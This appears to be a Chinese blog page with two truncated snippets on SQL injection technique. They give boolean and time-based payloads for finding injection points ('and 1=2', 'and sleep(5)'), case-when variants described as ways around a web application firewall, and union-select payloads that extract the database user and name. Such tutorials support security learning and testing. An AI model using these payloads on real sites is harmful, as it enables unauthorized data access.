joke_ljh的博客

1.常规判断注入点： and 1 like 1 ，测试回显正常 and 2 like 1 ，测试回显错误 and 1=1，测试回显正常 and 1=2，测试回显错误 1.1 可以用一些其它的方法,有时可以绕过waf and case when 1=1 then 1 else 0 end 页面返回正常 and case when 1=1 then 0 else 1 end 页面返回不正常 and sleep(5) 页面延迟5s an

一些常见的SQL注入方法 一.联合注入 判断是否有注入点 ’ and 1=1–+ 猜列数 'order by 1–+ 一直猜到5报错，列数为4 猜库 'and 1=1改为and 1=2 'and 1=2 union select 1,2,3,4–+发现标题为2，内容为3，把2，3换成sql语句 'and 1=2 union select 1,user(),database(),4–+ ’ and ...